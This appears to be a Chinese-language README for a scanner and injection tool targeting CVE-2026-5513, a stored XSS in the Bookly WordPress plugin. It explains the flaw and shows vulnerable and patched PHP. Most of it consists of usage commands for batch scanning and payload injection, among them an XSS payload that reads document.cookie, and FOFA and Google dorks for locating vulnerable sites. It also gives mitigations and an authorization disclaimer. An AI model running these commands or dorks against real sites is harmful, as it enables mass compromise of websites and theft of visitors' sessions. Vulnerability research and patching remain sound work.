
CVE-2026-5513: Bookly <= 27.2 Stored XSS via Cookie (Unauthenticated)
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-5513 |
| 漏洞类型 | 存储型跨站脚本(XSS) |
| 插件 | Bookly — 在线日程安排与预约预订系统 |
| 受影响版本 | ≤ 27.2 |
| 修复版本 | 27.3+ |
| CVSS 3.1 | 7.2(高危) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| CWE | CWE-79 |
| 是否需要认证 | 无 |
| 前提条件 | 记住个人Cookie信息 必须 启用(默认禁用) |
WordPress 的 Bookly 插件在版本 27.2 及以下版本中存在存储型跨站脚本漏洞,漏洞位于 bookly-customer-full-name Cookie 中,原因是输入净化与输出转义不足。
当启用“记住个人Cookie信息”设置时,插件会读取 bookly-customer-full-name Cookie 值,并将其直接渲染到预约表单的 HTML 中,未进行适当转义。未认证的攻击者可以通过此 Cookie 注入任意 JavaScript 载荷,在任何用户(包括管理员)访问包含 Bookly 预约表单的页面时执行。
攻击者 → 设置恶意 Cookie(bookly-customer-full-name=<script>...</script>)
→ 访问包含 Bookly 预约表单的页面
→ 插件读取 Cookie,未经转义直接渲染
→ XSS 载荷在受害者浏览器上下文中执行
// VULNERABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name']; // No sanitization
echo '<input type="text" value="' . $full_name . '" />'; // No escaping
// PATCHED — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';
✓ 自动IP/域名探测(HTTP/HTTPS,常见端口,重定向检测)
✓ WordPress 及 Bookly 插件检测与版本检查
✓ Cookie 设置检测(BooklyL10n JS 分析 + 金丝雀反射)
✓ 多上下文 XSS 测试(HTML、JavaScript、属性注入)
✓ 载荷注入与反射验证
✓ 单目标或从文件批量扫描
✓ 多线程扫描(最多20个线程)
✓ 代理支持(Burp 等)
✓ 自动保存存在漏洞的结果
✓ 交互式菜单与命令行模式
pip install requests colorama
# 检查单个目标
python CVE-2026-5513.py -u https://target.com -v
# 检查单个 IP(自动探测端口 + 重定向)
python CVE-2026-5513.py -u 167.99.0.203 -v
# 检查并注入 XSS 载荷
python CVE-2026-5513.py -u https://target.com --inject -v
# 自定义 XSS 载荷
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"
# 从文件批量扫描
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt
# 使用 Burp 代理
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080
python CVE-2026-5513.py
工具接受以下任意格式,用于 -u 或目标列表文件:
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080
对于纯 IP,工具会自动:
167.99.0.203 → https://book.repairrite.com)/wp/、/blog/、/wordpress/ 等)STEP 0 → 探测目标(IP/域名 → 解析基础URL,检测重定向)
STEP 1 → 检测 Bookly 插件(readme.txt、插件目录、素材、版本检查)
STEP 2 → 检查 Cookie 设置(BooklyL10n JS 分析 + 金丝雀反射测试)
STEP 3 → 测试 XSS 反射(HTML 上下文、JS 上下文、属性上下文)
STEP 4 → 注入载荷(若为 --inject 模式,验证反射)
# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"
# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"
| 优先级 | 操作 |
|---|---|
| 🔴 | 将 Bookly 更新至 27.3+ 版本 |
| 🟡 | 在 Bookly 设置 → 常规中禁用“记住个人Cookie信息” |
| 🟢 | 部署 WAF 规则以过滤 Cookie 值中的 XSS |
| 🟢 | 实施内容安全策略(CSP)头部 |
此工具仅供授权的安全测试与教育目的使用。 未经授权访问计算机系统是违法行为。进行测试前请务必获得适当授权。 作者不对任何滥用此工具的行为负责。
MIT
| 标志 | 描述 |
|---|
-u URL | 单个目标(URL、域名或IP) |
-l FILE | 包含目标列表的文件(每行一个) |
--inject | 注入 XSS 载荷(默认仅检查) |
--payload STR | 自定义 XSS 载荷 |
-t N | 线程数(默认:10,最大:20) |
--proxy URL | HTTP 代理(例如 http://127.0.0.1:8080) |
-o FILE | 保存结果到文件 |
-v | 详细输出 |